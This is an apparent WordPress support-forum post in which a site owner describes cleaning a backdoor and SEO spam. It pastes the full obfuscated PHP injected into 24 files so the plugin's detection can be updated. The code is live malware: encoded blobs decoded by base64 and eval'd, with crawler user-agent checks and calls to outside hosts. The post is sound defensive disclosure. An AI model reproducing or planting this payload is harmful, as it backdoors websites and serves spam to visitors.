yeah it’s clean now.
Though the backdoor was that ‘file_upload_include.php’ in wp-content and I removed it but somehow it infected a lot of files including theme files and many plugin files and added a malicious code. That SEO spam was because of that payload which happened to be in footer.php and i removed it from there, upon which Sucuri now shows that site is clean. But, still I have about 24 files infected.
Here’s the code that malware added in start of those files: May be you can update the plugin definitions to tackle this and identify it if this issue happens to someone else.
<?php /*versio:3.02*/ $GLOBALS["hqzafh"]="iGaW5pX3NldAKkYWxsb3dfdXJsX2ZvcGVuwqUVZGlzcGxheV9lcnJvcnMHqtQZmVkb3IvcmVzdG9yZV9hcgSMy4wMgfMVddGhhaDFOaWV0aGFpMnphaDZBaHIktnaHR0cDovLwIRSFRUUFMKsqb2ZmVWNaHR0cHM6Ly8TjaSFRUUF9IT1NUOOdW5pb24QOKGDc2VsZWN0ZcCUkVRVUVTVF9VUkkrOU0NSSVBUX05BTUUyUVVFUllfU1RSSU5HPwGrZGV0ZXJtaW5hdG9yLgiMaDXwLmxvZwuSFRUUF9ZX0FVVEgxqZYmFzZTY0X2RlY29kZQdmVyc2lvPTiLQeQLXBocASgSFRUUF9FWEVDUEhQplwb3V0MBdAb2suNcSFRUUF9VU0VSX0FHRU5UHIrhTjLAZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleACqIOYQfYmxhYnVlbC5uZXQAqDZmFzdGFkZHouY29tL3czLnBocD91PQvJDTJms9qwJnQ9cGhwJnA9HEXfJnY9IzxpapZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TldIdHYya2dRL3lvYkMxVkdkZzIyd1VCelBpWHEwV3VrWGhKUmNsTFZpeXhqcjhIZ0YzN3dpdkxkYjhhN3hpYUJxbi9GN016T2UzNHpHOThqNHBWTFBUK2lyaWk0TktkcDZFZDJIcWRDdS8xQ2ZDQjdSZVRrZmh4WmRPZG5lU2J1dmJTZ1M3b1Z1NUltcTkwMjh0MzRrVzlsTksrSmhqU1V0VzViSm1yNytneFpIVWlhS3FzallPZ0N3eXVwdEJCcjdkSDFacmxQL0pXekZsdEZRdmZMV0NZZldvZDhkZGpOaVVudW43NTlhNU1YVXArRXZwUEd1UjlTTVFmNUlDK2xlWkZHeEtPeFY0bDRvOFZaZWZrbVcreHlKM0xGMWk2TlZ2Wk9KcTN0WXV0bktYalVpcHhWa3V4QnVPQVVhU0JjazFibUJlNHVnUk5PVXdRTC9NcUJoR0VxZlp5RGo0SWRCUEhXZ2t1V0Z5YzBFdHJFQkNtcWdEWnp3MjQ4UDZESWJUbHhsTk1Jd2lvczhqejUxT2tJUkNIY0h2eGlCaWxFK0xBMXZia2psRzdRSUtQblVzTk54SXkwc25TZUhqWmc3UTAvRmVGcWEra0Z6akkrOFFIeUVpZm9SU3YyZkRjUFRvaDBSeDBnM2ZDTEloY3JrODlQazI4UGoxTUwvc2prTjJ4M0NqVDlzcHl2NDl1L3hoT1plRGI0OWt2T3lYajZOTG1mVG03dnYzL0JHenpsbHk5OGZyaS9IMytlVHUvK0dUODhUV1ZpWUNDeTJNM1dkaGtlNW5aMUQwVmh4aTBuaURQYU9NV0EwekRKOXlLL0RHR3V4UWpDOVd1VlhYNWFaUXBMbGRVZ3F2T3kyRmxoWGRSVk4reEM1U1ZCTUZ1dDRjUDJOMGtFNXZlNXpxcCtXY1VuaTJ6UDFKSFRqZ0N6dmFUQUlxaGFSdmg3UENVdlBBdXZnb0pweUZiazYzVDYyRkdWTGh6OGwvNFh3Wit2Y1paL0l2RHh3azE2TFFrWXBvTi9pTGNScUhqOCttZzlmRmVFanFEZzU3L2p5ZmU3aC9zelNwOHltbjY4blVOTmZ3TGw3SDRwcjVLNVhVRHRpMWNYK3B3NzFTWWZQaER4VFYrVGp6WDVENksxNjRBb0dGaG9wNFlocWpZc2UrWEc0NGs4d2tDTHV1dkZQZ1duNkM0SllwZUt3dEUrdVJJSmZFV0VrTVc1ZjNhZmExenh3elAzR0YrcDgvVUVhdHd3WDI2ajljelBab25ZMnVUdVlrK0IzL0g4bE1iZ0JIVVdNUkYrV0lMQ2lZcndDYjRablNmcEZMd09tOFBLelgxdkVmdmdjVGozdmNScjErRFNzcjZQSjVDaG41ejBqTGRiN25hN29MRjVoR0N0SitrRFdkTktXTWl5WXI2dGFYMVYwblc1YkJRLzN0TFliWkQ2a2o2U3RRSFNXTFhVTkxVcnFXb1Bod0lyWFQ4ckkxaVpVL1AxSlJYZ2Y5Qityb2JNelJrbURhUVp5RVN1VEZJZnEwTkpHOHE5RXVUZUdRQVc5SFJaVlhrYU9JTmlabm1heHdETE5EMm55Z0JGTUkyME51YllpMU5xT3d0b1BBc2J5TTRJVDR2NVo1MHp0QmxrSmpIRW54M0t0UkhHQ053RHd4RWdVTVpQTHVDNVlXaFBVZ2NER1FKVm8va2xlUWJFQWJJeC9KVzhnUW9xdTB6ZUsxZ25YbDJPL1ZEcUdiTGF4K0FqcHJ6ajZFRjIrcU9TbzhUSGR3eTZMcW5EWWNtQWViNmNaaDI4N0VJNmpJdTZWRU9YZWlyVHBUU3pQQmhLZzc2c3RXR09uS3NORmYwMVNzblhiOXB0RWZxem1VMjlOUzB5RVlza3BZR2Z6MHpYVHlNYm9NU3l2dHg5RzF0V1cvbnJiZ0p6NFdIeUErUS8zazV1NFJPS2VwMm15WktDNTdkcGF1OUZJblJjdXVsa2l4Q2FYT2prWWRKUlBCamFINHZJMzlWSGQ1L0gxVWx0cnpEOTUxRjRQajBaSDQvRzkvODJPYXFmWU5YSkNiOVE2a0hweHoyakFCQ3lYUXVPTGZCTmdGV0t1Nm9JalBYNGM1dDg1SHRHaDEzS0xsQWRLSHdLdEpNMjRBSEJSc2ptU2JKZDh2cS9xcVloT3l5WGp2SlRNYzlHbG0xSm1iVk4vZHllQmZUa0pqTUdkdzkyZUUxbW9IOVZvV2sxV1JuYmRWbmpaY2NFOVNERm9RRFE4MExZUHR0WU52VkIyUjFRTGRXNldmVmN5N0Z0WjdreEs2QTRVMnZESVlBYWJ4amNDK2QwdnJQTm05RHRWNG9WUGh3NWpDb2NNMHRnRFdlWmE1dHZpbEtwUWRnWVNsam1DcGQ3L2M1NFlGQ0hJMlk3RjFjTzVrTnFweG5HaTUwMVJFTC82a1lKM2hlUVZSdENQRXFIVEpQclJjK1d1eUlJMTQwQjBRWGc2WUxuT0VqWmtPS3o2SFNrMVJkR3VxU3JBRlJ5TlZHVVJzZnFrcVpwcGF0c0VqVm9BN0RIME1Ea2F1Vlp6L2FyWFdKeWs4NVBCdzNrOVRtMndBdUVidXlndXZpYjlxb2oxRHVDV1NMWHlLTWh0Qmk2ckxkWm9lejhYR1ExMHdyREl0d2pNbnpCSlJXU0VHMzI3c0ZEa1B6MWZCbjJKVzNVeC9mUXlZQ3AxbzhhV0VlYUJQTlRhOXJUMHlDYmh0eUhnY2RhTUhmWCs4V2JFY1FNa1kvVUs5TXNiY1MwenAwd08reksxWk90bmU4S1J0SUdJOWs0VWRybmhtQ3A1Zk00VDBJVVVHQzdPV2p5R1NmN0FQYjlMdXNUM0F1eHphSEhtWHBZMDNHTmE4TTZrOE51dzh6a1A1aDgrRkd1aDhkOWpWMUVBMWpjelNrb09vR0ZDbER3TVZXNVZkWkNIaGZPUXF5N0JURFRDUXFYV25IazBNWjVBd2VxM01KVERmVmc0SHpQOVFQbk9BaE94cHF1OTlIVFpzaWd3QWM5ck1lcThVNnRRSWtjYkJweDVFZm9KZHZUU1dNSWprWlNyd3NpZTlBempLOU9tdDVqRzBUdkNCMk5mZ0thUHRSeG9YbmZiRkJNeDR1c1NmRTFsT3lMREo4bmI5N0ZMQVN3KzlaUDQrdjM0V1VRelo4NmIvRkw2eHNJTmdiL1Z3QncvZy9oS0R1NSIpKSk7"; if (!function_exists('yfruejew')){function yfruejew($a, $b){$c=$GLOBALS['hqzafh'];$d=pack('H*','626173'.'6536345f6465636f6465'); return $d(substr($c, $a, $b));};eval(yfruejew(553,3272));};?>
Going to remove this from all those 24 files manually now. Thankyou very much for your support and prompt response, and great plugin